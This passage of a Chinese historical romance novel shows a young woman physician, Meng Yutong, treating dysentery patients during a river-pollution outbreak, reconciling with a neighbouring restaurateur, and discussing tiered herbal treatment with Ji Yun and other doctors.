纪昀孤身立于支摘窗前,窗扇撑开大半,夜风毫无阻隔地涌入,拂动他单薄的外衣。衣袂轻扬,似拢了一怀清冷月色。 窗外,墙根下那丛湘妃竹在月色中清晰可见。 竹竿挺拔修长,枝叶扶疏,翠色欲流,风致楚楚。于这方寸庭院中遗世独立,仿佛洗尽铅华,不染尘埃。 每每望着这丛竹子,他总想起纪昭。 他与纪昭,仿佛天生就是截然不同的两类人。 纪昭极爱竹,爱其风雅之姿,高洁之质,更爱其宁折不弯的铮铮风骨。 可纪昀却觉着,竹子空心无物,过于刚直,不懂迂回变通,他并不喜欢。他偏爱春日灼灼其华的桃花,向往搏击长空的苍鹰,亦欣赏深山溪涧那些顽强生长、不拘一格的寻常草木。 然而纪府庭院向来只植修竹,不见桃色,亦无闲花野草。 他的喜好,无关紧要。 他原以为自己会一直这样,沿着与纪昭截然不同的轨迹走下去。 可世事说来也是无常,偏偏纪昭离世后,纪昀开始学着他的样子,替他照料起这丛湘妃竹来。 也是从那时起,他开始日复一日告诉自己:竹子清雅,高洁,宁折不弯,他也该喜欢。 不仅仅是这丛竹子,其他诸多事上,他亦在刻意效仿纪昭的形迹。 他隐藏自己的情绪,压抑不为人知的喜好,甚至与谁定亲成婚无所谓,或者婚约被退亦无所谓。 仿佛唯有如此,那道横亘于所有人心头、深可见骨的伤疤,才能被勉强遮掩,不致鲜血淋漓。 于是他一遍又一遍地告诫自己:不该在意,不能在意。 他只需像他曾经承诺的那样,像纪昭一般,肩负起纪家的未来,做好纪家的长子,将家族医术发扬光大,让祖父欣慰,让父母宽心少虑。 如此,便已足够。 他原以为自己伪装得还不错,原以为日子可以就这样戴着面具,自欺欺人地过下去。 他望着风中轻颤的竹影,眸色深邃渺远,里头像是盛着望不到尽头的悲凉与沉寂。 可他终究不是纪昭。这么多年过去,他发现自己始终学不会那份天生的温润与从容,那份看似无欲无求的完美。 他也渐渐发觉,他在意,他其实很在意。 这感觉初时只如细草,从心壤深处悄无声息地钻出,不过是些许微不足道的绿意,他尚可轻易遮掩、按压,无人能窥见端倪。 可近日,那孱弱草芽竟悄无声息地滋蔓开来,于潜移默化间抽枝展叶,用尖锐而执拗的生机破土而出,渐成一片苍郁茂盛的草原,再难忽视…… 夜风再度拂来,绕过雕花窗棂,携着露水的沁凉扑面而来,令他几乎脱缰的理智稍稍回笼。 他收敛心神,如往常一般,试图以惯常的伪装将那心底疯长的野草重新掩盖。 可那心底最深处,却总泛着细密而执拗的痒意,他刻意忽视,却反而愈发扰人心神。 他想起今夜孟玉桐那疏离冰冷的眼神,想起她望向自己时,心底那股毫无来由的尖锐刺痛。 他又陷入了煎熬。 若按部就班的人生渐渐偏离预想的轨迹,若以为早已坚不可摧无法动摇的内心出现了点点缝隙,若那个人总带来无法预知的变数和危险的悸动…… 是该远离,还是放任靠近? 他双手猛然撑在窗沿边,从胸中长长抒出一口气,仿佛想将满腹纷乱思绪尽数倾吐。 夜风又起,撩动他宽大的衣袖,袖口一荡,一只杏黄色的香囊悄然滚落窗台。他目光一凝,小心拾起,将其托在掌心。 手指轻轻抚摸着香囊上玄青色绣线绣成的一只雄鹰。 那鹰栩栩如生,双翼遒劲张扬,仿佛下一刻便要挣脱这方寸绣面,凌云而去,奔赴它心之所向的任何天地。 风吹竹叶声沙沙而起,似是有人在耳边低语叩问。 他垂眸凝视着掌中香囊,一个隐秘的念头骤然而起。 他忽然又想,自己为何不能在意? 第53章 五月初五,天晴。示好 五月初五,天晴。 后续的这三日,情势果如纪昀所料,城中因饮用污染河水而染上腹痛泄泻之症的百姓日益增多。就连位置相对偏僻的照隅堂,这几日也接连诊治了近百名病患,门前一度排起长队。 可以想见,位于御街北段、靠近污染源的那些医馆,定然更是人满为患,焦头烂额。 前来照隅堂求诊者,大多属轻症。孟玉桐多以藿香、苍术、厚朴、茯苓等药材组方,重在化湿和中,调理气机。病患服药后回家静养,注意饮食清淡,大多能逐渐缓解。 然亦有部分患者,特别是年老体衰者与稚龄孩童,本身脾胃虚弱,再经此疫戾之气一伤,病情迅速转为凶险的伤寒兼痢之症。症见高热不退、腹痛如绞、下痢脓血、精神萎靡。 对此类重症,尤其是老幼患者,用药便需格外谨慎。猛药攻伐固然见效快,却易损伤本就脆弱的正气。 故孟玉桐多选用药性相对平和却兼具清热解毒、凉血止痢之效的药材,如白头翁、秦皮、黄连、黄柏,佐以葛根升清止泻,白芍缓急止痛,再酌情加入太子参或山药等微补气阴之品,扶正祛邪,徐徐图之。 然而,治疗周期一旦拉长,对病患的恢复确是极大考验。期间只能进些米汤之类的流质,无法有效补充营养,身体耗损极大,极不利于康复。 眼见此景,孟玉桐当机立断,将这两日接诊的重症病患中,情况最为危急的三人:一位年过花甲的老翁,一名三岁及一名五岁的幼童,收入照隅堂内安置。 医馆二层原是用作客栈的厢房,此时恰好辟为临时病房,将三人分室安置,既便于集中照料,也避免了交叉感染。 医馆骤然繁忙,刘思钧一行人闻讯,也主动前来帮忙。 这几条秦州汉子一来,馆内顿时人气更旺。吴明与崔大负责跑腿传话、维持秩序;刘思钧略通医理,便协助孟玉桐初步问诊分流;白芷与梅三则在药柜前手脚麻利地抓药配方;桂嬷嬷心细,便到二层悉心看护那三位重症病人。 众人各司其职,医馆中虽忙碌,倒也忙而不乱,井井有条。 及至傍晚,日间蜂拥而至的病患诊治完毕,馆内终于稍得清闲。 孟玉桐刚得空喝口水润喉,白芷便悄悄凑近,附耳低语了几句,目光警惕地瞥向门外。 孟玉桐顺着她的视线望去,竟见孙桂芳提着一只硕大的食盒,在照隅堂门外探头探脑,神情踌躇,似想进来又不敢迈步。 白芷拧紧眉头,低声道:“姑娘,她这又是唱的哪一出?黄鼠狼给鸡拜年,没安好心!别是又想来找茬害人吧?” 自上次开业闹事被当众拆穿,又结结实实吃了巴豆的苦头后,孙桂芳倒是安分了好一阵子。 每日乖乖来照隅堂用药调理,规规矩矩,再未生事。今日忽然现身,确实令人起疑。 孟玉桐拍了拍白芷的手背,示意她稍安勿躁,轻声道:“不必妄加揣测,去请孙大娘进来吧。” 白芷虽不情愿,还是依言上前,将孙桂芳引了进来。 孙桂芳踏入照隅堂,反倒显得十分拘谨。 她将那只沉甸甸的食盒放在看诊的柜台上,搓着手,讷讷道:“孟、孟大夫……我瞧着你们今日忙x得脚不沾地,想必连口热饭都顾不上吃……特意做了些家常饭菜送来,给、给大家垫垫肚子……” 白芷在一旁暗暗撇嘴。以孙桂芳那斤斤计较、睚眦必报的性子,竟会好心到给他们送饭?这饭里别是下了什么料吧?她盯着那食盒,眼神里满是怀疑。 吴明也吸着鼻子凑过来,眼睛发亮地锁定了食盒:“咦?我好像闻到了……红烧大猪蹄?酱牛肉?还有……喷香的葱油饼!白芷,你是不是也闻到了?” 白芷没好气地用胳膊肘捅了他一下,压低声音:“我就闻到了‘蹊跷’!跟你这馋鬼说不通!” 孟玉桐目光温和地扫过那食盒,对孙桂芳道:“有劳孙大娘费心,多谢。” 随即示意白芷,“按市价,给孙大娘结算饭钱。” 孙桂芳闻言,顿时慌了神,连连摆手:“使不得!使不得!孟大夫,这可使不得!” 她像是下定了极大决心,脸上臊得通红,声音却清晰起来:“上回……上回孟姑娘您那一番话,真是……真是如同当头棒喝,把老婆子我给敲醒了!我干了那么多混账事,您还不计前嫌,给我治病……我、我真是鬼迷了心窍了我!” 她越说越激动,手指绞着衣角:“姑娘您说得在理!这世道,想立得住,就得靠自己有真本事!我自己立不起来,就算对面开的是金銮殿,我这饭馆该没生意还是没生意!只有我把饭菜做好了,做得香了,‘酒香不怕巷子深’,客人自然就来了…… “再说,那日我那般对您,您还提前告知河水有污染,让我避过一劫,保住了饭馆招牌……我、我真是……唉!”她重重叹了口气,满脸愧色。 这些日子,她早想来道歉,可一是拉不下老脸,二是见照隅堂生意红火,竟也带旺了她家饭馆的人气,两边都忙,便一直拖了下来。 今日好不容易鼓足勇气,准备了饭菜,也想正式道个歉。 她孙桂芳是多好面子的人呐! 此刻费劲讲出来,也觉得面上臊得慌。若孟玉桐不领情,或是当众给她难堪,她只怕要被当个笑话在桃花街上传扬出去了。 一旁的崔大、梅三是见识过开业那场风波的,此刻都斜着眼,撇着嘴,一副准备开口挤兑人的模样。 “有你们什么事儿?”刘思钧一道冷淡的眼风扫过去,不轻不重。崔大、梅三立刻噤声,挺直腰板,眼观鼻鼻观心,乖觉得很。 诊室内一时有些拥挤逼仄。孟玉桐侧首,与刘思钧交换了一个眼神。 刘思钧会意,立刻起身,不由分说地将吴明、白芷、崔大、梅三等一干“闲杂人等”全都“请”了出去,带到另一间诊室等候。 闲人退去,室内顿时一静,只余孟玉桐与忐忑不安的孙桂芳相对而立。 孟玉桐温言邀孙桂芳在一旁的凳子上坐下,语气平和:“孙大娘,您今日送来的这些饭食,光是闻着香气,似乎就比往日更为诱人。想必近来是下了苦功夫,精进了一番手艺?” 眼前这姑娘年纪虽轻,一颗心却剔透如琉璃,玲珑七窍。 她轻描淡写,便将那些让孙桂芳无地自容的过往暂且揭过,反而真心实意地夸赞起她的饭菜来。如此不计前嫌,这般宽容大度,倒让她这活了半辈子、自诩精明的人感到阵阵羞愧,脸上火辣辣的。 孙桂芳悄悄用袖子揩了揩湿润的眼角,上前一步,利落地掀开食盒盖子,露出里面码放整齐、色香诱人的菜肴:“也、也是顺道让孟大夫和各位伙计们都尝尝,给提提意见……我家那口子说,他最近改良了好些配料火候,非说味道比以前强多了。我自个儿尝着……好像确是香了不少。” 只见食盒内琳琅满目:浓油赤酱、颤巍巍泛着诱人光泽的红焖元蹄,炖得酥烂入味、香气扑鼻的秘制酱牛肉,清炒得脆嫩爽口、点缀着葱花的荷塘小炒,还有一盅奶白醇厚、热气腾腾的山珍排骨暖胃汤……无一不是她家庆来饭馆的拿手招牌菜。观其色,闻其香,的确比以往更为精致讲究。 孟玉桐含笑颔首:“菜色如此丰盛,真是有劳孙大娘费心准备了。” “你们今日人多,这点儿哪够吃呢!”孙桂芳见孟玉桐态度温和,心下稍安,笑容也自然了许多,忙用围裙擦了擦额角的汗,“我那灶上蒸笼里还温着好些菜呢!孟大夫你们稍等片刻,我这就再去装些过来!忙了一整天,可得好好吃点补补力气!” 说着,她手脚麻利地将食盒里的菜一盘盘端出摆好,拎起空食盒风风火火就要往对面饭馆赶。 孟玉桐这次没拦她,只扬声唤了吴明过去帮忙搭把手。 一直在隔壁竖着耳朵听的几人,见状纷纷绕过屏风围了上来。 白芷凑近桌边,仔细看了看几盘菜的成色,微微挑眉,语气稍缓:“啧,瞧着这卖相和油光,倒确实比以往强上不少。” 崔大成抱着胳膊,哼了一声,仍是耿耿于怀:“卖相好顶什么用?那孙氏当日所作所为,实乃小人行径!今日提着饭菜来示好,谁知是不是又受了谁的撺掇,包藏着什么祸心呢?防人之心不可无!” 孟玉桐目光扫过众人,淡淡笑了笑,声音平静却自有力量:“街坊邻里,抬头不见低头见。仇怨宜解不宜结。将来日子还长,谁能保证自家永远一帆风顺?说不定哪日我照隅堂遇上难处,还需庆来饭馆施以援手呢。既她有心示好,我们不妨给个机会。” 她声音缓缓,似一条静静流淌的溪流,仿佛永远知道自己该流往何处,从不为途中碰到的一两块怪石而湍急激越。她只要稳稳的在照隅堂坐着,就好像众人的一块主心骨。 刘思钧闻言眸中闪过一抹赞许之色,他不再多言,上前主动摆弄起桌椅碗筷,扬声招呼道:“莫说了,这事玉桐自有分寸!咱们眼下最要紧的,是别辜负了这一桌好菜!都别愣着了,赶紧填饱肚子才是正理!” 梅三立刻笑嘻嘻地应和:“还是少当家的说话在点子上!” 几人七手八脚地从后院搬来长凳,围桌而坐。待吴明帮着孙桂芳将后续添的饭菜也端来时,大家便不再客气,纷纷动筷,大快朵颐起来。 第54章 第54章哪儿来的……俏郎君?…… 连日来医馆病人不断,几人确实都忙得饥一顿饱一顿,此刻佳肴当前,也顾不得什么形象,吃得格外香甜。 吴明塞了满嘴的红焖元蹄,含糊不清地赞叹:“唔…真别说!这庆来饭馆的手艺真是长进了!这元蹄肥而不腻,入口即化,唇齿留香,妙极!妙极!” 白芷则小心地吹着排骨汤,递到孟玉桐手边:“姑娘尝尝这汤,味道闻着倒是鲜。” 崔大成夹了一大筷子酱牛肉,嚼了几下,虽仍板着脸,却也不得不承认:“哼,肉炖得倒是烂糊,滋味也进去了。” 梅三则目标明确地进攻那盘荷塘小炒,嘎吱嘎吱嚼得欢快:“这藕片脆生,好吃!解腻!” 众人你一筷子,我一筷子,嘴上不停,桌间气氛顿时其乐融融。 刘思钧细心地将几样好菜夹到孟玉桐碗中,看着她略显疲惫的侧脸,正色道:“玉桐,看这情形,玉带河的污水整治绝非一朝一夕之功。 “若医馆日日都涌入这么多病患,莫说你这身子骨能否吃得消,照隅堂的药材库存,我看也支撑不了几日。你作何打算?要不……明日歇业一日,你也好好缓口气?总这么硬撑着,我真怕你先累垮了。” 他这提议倒也不算过分,这几日城中情况如此复杂多变,好些个药铺见此情景,便提高各项治疗腹泻之症药材的价格。许多医馆无力购买,只能依靠存药。有些个小医馆照应不来,便早早地关了门。 孟玉桐放下筷子,神色认真:“刘大哥,开设医馆,本就是为了悬壶济世。既为医者,岂能因畏难怕苦而闭门谢客?我没有那么娇弱。倒是你们几位,” 她目光扫过刘思钧、崔大、梅三,“为了帮我,耽误了自家的正事,我心中实在过意不去。” 刘思钧俊眉一拧,似是瞪了她一眼,语气带着几分不悦:“你这说的是什么见外话!我岂是那个意思?我们这趟出来,首要的差事就是售卖那批秦州玉器,早已钱货两清。 “如今不过是随处看看,并无紧要事务。你这照隅堂需我们帮到何时,我们便待到何时!日后休要再说这等生分之言!” 孟玉桐闻言,自知失x言,莞尔一笑,主动举起手边的茶盏:“是玉桐失言了。我便以茶代酒,敬刘大哥一杯,聊表谢意。” 刘思钧这才朗声笑了笑:“这才对嘛!” 孙桂芳送来的饭菜里还贴心附了一小壶清甜的青梅酿,他面前也斟了一小杯。 他爽快地端起酒杯,与孟玉桐的茶盏轻轻一碰,随即仰头一饮而尽,高声道:“若非有你,我刘思钧只怕早已灰头土脸滚回秦州,被我爹打个半死了!咱们这可是过命的交情!往后,可不许再同我客套!” 他在外行走惯了,身边又多是豪爽不羁的兄弟,几杯酒下肚,兴致高涨,一时忘了身处规矩繁多的临安城,更忘了男女之防。 竟伸出胳膊,自然而然地揽住了孟玉桐的肩头,带着几分醉意笑道:“我头一回见你,便觉投缘,只觉得……只觉得……”他眯起眼,似乎在脑中搜寻合适的词句,半晌,双眸一亮,高声总结:“相见恨晚!” 孟玉桐被他这突如其来的亲近揽得微微一僵,秀眉蹙起,下意识便想推开他。 可刘思钧是个一沾酒就不太正经的性子,反而将她搂的更紧,继续道:“我……我有个妹子,和你一般大……” 白芷见状,一脸嫌弃地起身,想去拉崔大和梅三帮忙将刘思钧这醉鬼从自家小姐身边拉开。 恰在此时,她眼风瞥见门外似有一道熟悉的身影伫立。定睛一看,竟是纪昀不知何时来了,正静立在照隅堂门外的阴影里,面容看不真切。 “纪医官?”白芷按在刘思钧肩上的手顿住了。刘思钧不舒服地抖了抖肩膀,将她的手甩开。 “什……什么医官?”他努力睁大惺忪的醉眼,循声望去,只见一道身着紫棠色常服、身形挺拔如松的身影自门外走入,停在他面前。 他眯眼仔细瞧了瞧,嘟囔道:“嚯……哪儿来的……俏郎君?玉桐,好妹子,你……你可认得?” 梅三和崔大一脸惨不忍睹,赶忙起身,一左一右架住刘思钧的胳膊,连拖带拽地将他从孟玉桐身边拉开。 梅三一边用力一边向孟玉桐赔笑:“孟姑娘,对不住,对不住!这厮一沾酒就这德性!献丑了!真是献丑了!” 崔大则一脸鄙夷地吐槽:“这青梅酿是果酒啊,怎么也这么菜?难以置信。” 孟玉桐得以脱身,略略整理了一下被弄皱的衣襟,这才抬眸看向不请自来的纪昀。 灯火下,他面色是一贯的冷淡肃然,但细看之下,似乎比平日更凝练了几分淡淡不悦。 她神色平静,淡声问道:“纪医官此刻莅临,可是有要紧事?” 纪昀的目光在她略显凌乱的肩头衣襟上一扫而过,随即落回她脸上,声音清冷如玉磬:“孟大夫,可否借一步说话?” 孟玉桐正巧也已吃饱了,她偏头同白芷说了一声,便起身与纪昀一起出了照隅堂。 两人立在照隅堂转角檐下,头顶的纸灯笼从上至下洒下柔光,如同轻纱般笼罩在二人身周,将夜色稍稍驱散。 “这几日来照隅堂看诊的病人应当不少,孟大夫一人支撑,可还应付得过来?” 纪昀抬眸,那双深邃冷冽的黑眸,因眼角微微上挑的弧度,此刻染上了暖黄的灯光,竟似冰雪初融,落在人身上的视线也仿佛柔和了几分,无端让人生出几分他竟也温和可亲的错觉。 孟玉桐心下微哂,险些被这表象迷惑。她唇角弯起一道得体的弧度,答道:“若只我一人,确有些左支右绌。幸得几位朋友倾力相助,目前尚能勉强支撑。” 纪昀点点头,语气平和,“今日前来,是应回春堂、济世堂两家主事之请,欲与孟大夫一同探讨此次伤寒兼痢之症的治疗方案。不知孟大夫现下可有空闲,不妨同纪某移步清风茶肆相谈一二。” 孟玉桐正有此意,她亦想寻机与纪昀及其他经验丰富的医者商讨重症患者的治疗方案,尤其是二层那三位老幼病患。 她爽快点头,朝纪昀拱手一礼:“正合我意,纪医官请。” 纪昀微微颔首,提步往前,孟玉桐则不紧不慢跟上,二人中间隔开半人宽,瞧着很有些生疏。 从照隅堂至清风茶肆这短短一程,孟玉桐本以为会一路无话。 却未料,在距茶肆门口仅四五步之遥时,纪昀微偏过头,声音不高,语调比平日稍缓,听来似有几分不经意:“孟大夫方才所言的朋友,可是指那几位秦州来的行商?” 他说得随意,孟玉桐抬眼,却对上他带几分探寻的视线,于是坦然点头:“正是。” 纪昀视线又偏转过几分,落在她脸上,眸色幽深难辨,“孟大夫聪慧明敏,心思通透,待人接物惯有分寸,清冷自持。纪某原以为,你并非会轻易与人深交。” 孟玉桐闻言,不禁莞尔,灯火下容颜明媚生动:“纪医官此话倒是奇了。纵然是再冷淡端方之人,世间也总有三两志趣相投之友。人生在世,谁能保证永不遇难处?若遇困境,自然需要朋友援手。这般情谊,难道纪医官从未有过吗?” 她语气带着几分自然的调侃。 纪昀转过视线,目视前方,侧脸线条在光影中显得有些冷硬,“若有难处,我不愿麻烦别人。不过……孟大夫遇上难处时,比起自己解决,更希望有人从旁相助么?” “纪医官品性高洁,自律克己,实令人敬佩。” 孟玉桐语气如常,不过这般赞叹听着却有几分敷衍,她想了想,又道:“若遇上难处,我自然希望自己有能独立解决的能力,却也并不排斥有人在一旁相助。毕竟如若事事都亲力亲为的话,还是有些累的。” 纪昀垂眸,倒像是听得很认真,“孟大夫怕累?” 孟玉桐笑了笑,坦然道:“自然。” 纪昀未再发问,倒像是若有所思地点了点头。 两人走到清风茶肆门口,纪昀引着孟玉桐径直上了二楼,推开一间雅室的门。室内小桌前,已坐了三位男子。 靠窗边坐着一位年纪轻轻的男子,约莫二十出头,穿着一身半新不旧的灰布长衫,衣着打扮甚是简单随意,甚至袖口处还沾着些许未掸净的药末,显是不大注重边幅。 然而他手边放置的那只医箱却擦拭得干干净净,木质温润,铜扣锃亮,与他本人的随意形成鲜明对比。 灰衣男子身旁,是一位须发皆白的老者,面容清癯,目光沉静睿智,身着浆洗得一丝不苟的深色儒衫,通身上下透着一股严谨端方、浸淫医书多年的老学究气息。 另有一位瞧着四十出头的中年男子,面容白净,眉目间带着几分书卷气的儒雅,安静地坐在小桌另一侧的边角位置。 几人见纪昀进来,起身与他招呼。 纪昀侧身,将孟玉桐稍稍引入室内,两人直接离得很近,他就近依次介绍,声音清晰平稳:“这位是回春堂的当家,马春马大夫,精于内科杂症,擅调理脾胃,于腹泻痢疾一道颇有心得,曾以自拟方救治过多位重症痢疾病患。” “这位是济世堂的坐馆大夫,沈昺沈大夫,曾在医官院任职,致仕后受济世堂礼聘坐堂,经验丰富,德高望重。” “这位是济世堂的当家,宋寅深宋大夫,虽年轻,却思维活络,用药常不拘古法,自成一路,于临安城中小有名气。” 纪昀介绍几人的用语,简单明了,三言两语便将三人的背景、擅长科目点明。 孟玉桐一一记下,落落大方地依次向三人敛衽行礼:“马大夫、沈大夫、宋大夫安好。晚辈孟玉桐,忝为照隅堂主事。” 她一个年轻女子,骤然出现在这等杏林前辈云集的场合,难免引人侧目,更易招致轻视。 加之济世堂的沈、宋二人早在照隅堂开业之初便私下议论过,认定了这女子所开医馆不过是哗众取宠的“绣花枕头”。 故而在她行礼后,唯有回春堂的马春大夫和善地回了半礼,道了声:“孟大夫客气了。” 而那沈昺与宋寅深,只是略抬了抬眼皮,目光在她身上一扫而过,便算是打过招呼,神色间颇有些不以为然。 第55章 第55章心弦微动 见那两人如此明显的冷待,纪昀眸光微冷,声音清晰地补充道:“孟大夫虽年纪尚轻,于医术一道却颇有天赋。不久前医官院医籍考核,孟大夫的成绩得了医官院亲批的‘优’。院使朱大人对其答卷中所呈医理见解与临症思路,亦是赞赏有加。” 此言一出,沈昺眸中闪过一丝讶异。 他曾在医官院任职多年,深知医官院考核之严苛,能通过x已属不易。毕竟他身边这个可是考了五六回也没通过呢。 而能得“优”等者,更是凤毛麟角,数年难出一人。莫非……此女真有过人之处? 此刻,他才终于正眼打量起眼前的“女娃娃”来。 他捋了捋雪白的长须,神色缓和了些许,点头道:“能得院使大人如此赞誉,孟大夫果然是‘长江后浪推前浪’,后生可畏啊。” 孟玉桐没料到纪昀会出言维护,她压下心头升起的一丝怪异,面上却不显,只谦逊道:“沈大夫过誉了。院使大人厚爱,晚辈愧不敢当。 “晚辈才疏学浅,经验浅薄,论及医术精研与临症老道,远不及诸位前辈。今日有幸能与诸位共商治法,实乃玉桐之幸,还望诸位前辈不吝赐教。” 一旁的宋寅深却嗤笑一声,搓了搓鼻子,低声咕哝道:“不过是个医籍考核罢了,说得多了不起似的……” 济世堂之所以请了两位大夫过来,自然是因为有一位是凑数的。 故而其余几人并不管这凑数的说了什么。 纪昀引孟玉桐入内,自己在宋寅深对面的窗边位置坐下。孟玉桐则自然在他身旁、沈昺对面的空位落座。 待众人坐定,纪昀目光扫过在场四人,神色沉凝,切入正题:“今日劳烦诸位齐聚于此,是为商讨此次因玉带河水污染所致之大范围腹泻疫症的治疗方案。 “虽医官院早已发布告示,严禁取用河水,然仍有百姓心存侥幸,以致病患日益增多。据察,近日各家医馆收治之病患,皆数倍于平日。照此趋势,未来几日恐只增不减。 “眼下治疗,主要有两大困境:其一,患病人数众多,各家药材储备消耗巨大,长此以往,必难以为继。即便医官院开放药库支援,亦恐捉襟见肘。若能寻得药效相近之替代药材,或可缓解一二; “其二,轻症患者尚易应对,然重症之‘伤寒兼痢’,多发于老幼体弱者,用药需格外谨慎,力度难以把握,稍有不慎便恐伤及根本。 “此二者,乃当务之急。医官院内部已集议数次,然纪某以为,诸位连日来身处一线,接触病患最多,体会想必更为深切,或有良策妙方,可解此困局。” 马春率先点头,面色凝重地应和:“纪医官所言,正是眼下最大难关。我那回春堂这几日接诊病患已逾数百,馆中库存的黄连、葛根等治疗腹泻痢疾的要药,已然告急。 “照此情形,最多再撑两三日便要见底。方才纪医官提及以药性相近之材替代,此法马某亦曾深思。” 他顿了顿,显出老成持重的模样,“譬如,或可以‘秦皮’替代部分‘黄连’清热燥湿,以‘煨诃子’替代‘石榴皮’涩肠止泻。 “然,秦皮苦寒之性稍逊,止痢之力恐有不及;煨诃子虽能固涩,却无杀虫之效,用于此疫戾之气引发之痢,恐治标难治本。思来想去,尚未寻得万全之策,故而想听听诸位高见。” 沈昺闻言,捋了捋雪白的长须,神色端肃,开口道:“马大夫所虑不无道理。然则,用药之道,差之毫厘,谬以千里。尤在疫病流行之际,更当谨守《伤寒》、《金匮》之古法,遵循历代先贤验证之成方。 “目前治疗此症所用之方,诸如葛根芩连汤、白头翁汤等,皆是历经千百年验证,疗效确凿之良方。其中君臣佐使,配伍精妙,岂可因一时药材短缺便轻易更易? “若随意替换,药效不足或药性有偏,延误病情乃至加重病势,该当如何?依老夫之见,还是应当尽力筹措原方药材,方为正道。” 宋寅深在一旁听得直呲牙,心下暗忖:这老学究又来了!满口祖宗成法,不知变通。真是站着说话不腰疼,他不必为药材库存操心,自然说得轻巧! 他忍不住插话道:“马大夫,莫听他的!我们济世堂里的黄芩、木香这两日也快见底了。医官院若能及时支援一些,或许还能撑上一两日,否则,明日怕是就要断炊!” 他转向众人,语气急切,“我看马大夫所思方向没错!用其他储备更多的药材替代,乃是务实之法。譬如,我曾治过一久泻不止之患者,其对‘黄连’极不耐受,服用即呕。 “我便尝试以‘苦参’配合‘地榆炭’替代,虽起效稍缓,疗程略长,但患者最终亦得以痊愈,并未反复。可见,只要把握核心病机,用药并非一成不变!” 沈昺立刻驳斥:“荒唐!你怎可不与老夫商议便私自篡改经方?焉知不是你误打误撞,恰逢那患者病程将尽,自身阳气来复,与你所用之药并无干系!” 宋寅深两手一摊,反道:“那不正说明,人体自有康复之能?只要用药大方向不错,辅以调理,身体自会慢慢修复!用什么药,有时并非关键!” “你!你岂可将一例普通久泻与眼前这河水污染、疫戾盛行之事混为一谈?此乃大事,岂容儿戏!”沈昺气得胡子微颤。 眼见两人争执渐起,气氛紧张,纪昀轻轻咳了一声,声音不大,却自带威仪,瞬间止住了两人的话头。 他将目光转向一旁始终沉默聆听、未发一言的孟玉桐,缓声问道:“孟大夫于此事,可有见解?” 桌上其余三人的目光,也随之齐刷刷地聚焦到她身上。 孟玉桐方才细细聆听了各方意见,对另外两家医馆的困境已大致了然,确如纪昀所言,不外乎药材匮乏与重症棘手两大难题。对于药材替代,她心中亦早有筹算。 她迎上众人目光,神色沉静,不疾不徐地开口,声音清晰柔和似溪涧流水缓缓而行,自有一股临危不乱的力量:“诸位前辈所言皆有道理。晚辈浅见,或可依据患者中毒深浅、症状轻重,将病患大致分为三等,区别施治,或可缓解部分药材压力。” “其一,程度最轻者:此类患者仅见腹泻,并无明显发热、腹痛如绞或精神萎靡等伴随症状,且其人体质素健,平素脾胃尚可。 “针对此类,或可将药方中紧缺的黄连,替换为药性相近、但库存相对充裕的苦参与秦皮进行配伍,先予服药,嘱其回家静养三日,密切观察。若三日后症状明显好转,腹泻止息,则可不必再行用药;若未愈,再议更方。” “其二,程度中等者:此类患者腹泻次数频繁,或已出现轻微发热、腹部隐痛、周身酸困等症,病情相对较重。对此类患者,建议仍维持原有经方,如葛根芩连汤进行治疗,不宜轻易更替核心药材。 “可将目前各家搜集到的紧缺药材,并上医官院支援之药,优先保障此类患者使用。待其病情稳定,热退泻减后,可酌情转为第一类患者的治疗方案,以替代药材巩固疗效。” 她这番“分级诊疗、区别用药”的思路,条理清晰,切中要害,既保证了重症患者的疗效,又巧妙缓解了药材短缺的压力,实在是当前局面下的可行之策,令在场众人耳目一新。 马春眼中顿时流露出毫不掩饰的赞赏,抚掌道:“妙啊!孟大夫此策深入浅出,鞭辟入里,既保重症,又顾轻症,更解了药材之困!实在周全!” 沈昺亦是垂眸,手指无意识地捻着胡须,细细思量。虽他对更改药方仍心存疑虑,但不得不承认。 孟玉桐此法在眼下确是最为务实和周全的选择,最大限度地遵循了“急则治其标,缓则治其本”的原则。他微微颔首,算是默许。 “等等!”宋寅深忽然皱眉,打断道,“你方才说分为三类,这才说了两种情况,还有一类呢?这第三类又当如何?别卖关子啊!” 这女人怎么说一半留一半,忒不爽利。 孟玉桐转眸,视线与纪昀相遇。纪昀也正静静望着她,眸色深沉,似乎早已料到她会提及此节,只朝她微微颔首,示意她但说无妨。 孟玉桐定了定神,转向众人,继续道:“这第三类,正是今日玉桐最想与诸位前辈商讨的棘手难题。不知诸位医馆中,近日可曾收治因腹泻转重,乃至发展为伤寒兼痢之重症者? “其症可见:高热不退,腹痛如绞,下痢赤白脓血,精神极度萎靡,甚或出现惊厥、昏蒙之象。此类病患,多为老人与孩童,本就脾胃虚弱,正气不足,再遭此疫戾重创,病情极易急转直下,凶险异常。” 马春x闻言,面色一凛,猛地想起一人,率先应道:“孟大夫如此一说……我今日确曾接诊一约十岁男童,其症似比旁人更重,面赤发热。只因当时病患蜂拥,嘈杂不堪,未能细细诊察,便同其他轻症者一并开了寻常止泻方剂,嘱其回家服药……” 他脸上显出懊悔与后怕,扼腕道:“唉!若真是伤寒兼痢,我岂非延误病情?!” 孟玉桐温声安抚道:“马大夫不必过于自责。您所开方药本也对症,若那孩童病情确有反复或加重,其家人自会再携他来求医。眼下,我照隅堂中正收容了三位转为伤寒兼痢的重症患者,皆属老幼体弱之列。 “对此类病患,用药需格外谨慎,猛药攻伐易损其本已虚弱的正气。故而我多选用药性相对平和,却兼具清热解毒、凉血止痢之效的药材,如白头翁、秦皮、炒白芍等,意在徐徐图之,扶正祛邪。” 她话锋一转,眉间凝上一缕忧色:“然则,此法亦存难题。疗程一旦拉长,患者身体耗损极大。幼童正值生长发育,需充足营养; “老者本元已亏,经不起久病缠绵。久病耗气伤阴,恐损及根本,反是得不偿失。故此,玉桐想请教诸位前辈,可有良策能破解此困局?” 她一席话条分缕析,将问题说得明白透彻。 对面三位医者闻言,皆陷入沉思,面露难色,似是被此问难住。 恰在此时,纪昀修长的手指在她身侧的桌面上轻轻叩击了两下,唤回了孟玉桐的注意力。 他声音低沉平稳,接话道:“这两日,我亦去济安堂复诊过小辉与杏儿。情况确如你所言,病情虽在缓慢控制,但见效过于迟缓。 “我与众同僚在医官院亦商讨过,既然此次水源污染源头是发病致死的牲畜,其所带疫戾之气非同一般,或可在方中添入一味平瘟解毒、辟秽化浊之药,以求截断病势,扭转局面。” 他微微一顿,指出关键:“然,寻常具有强力平瘟解毒之效的药材,如贯众、大青叶、板蓝根等,性多大苦大寒。患者此刻本已脾胃虚寒,正气不足,若寒凉过度,恐非但不能解毒,反会冰伏邪气,损伤阳气,致使病情加重,故剂量与配伍极难把握。” 